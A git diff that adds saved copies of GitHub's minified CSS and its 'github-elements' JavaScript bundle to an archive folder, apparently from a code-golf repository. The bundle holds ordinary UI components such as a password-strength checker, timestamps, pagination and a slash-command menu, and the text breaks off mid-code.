.command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const 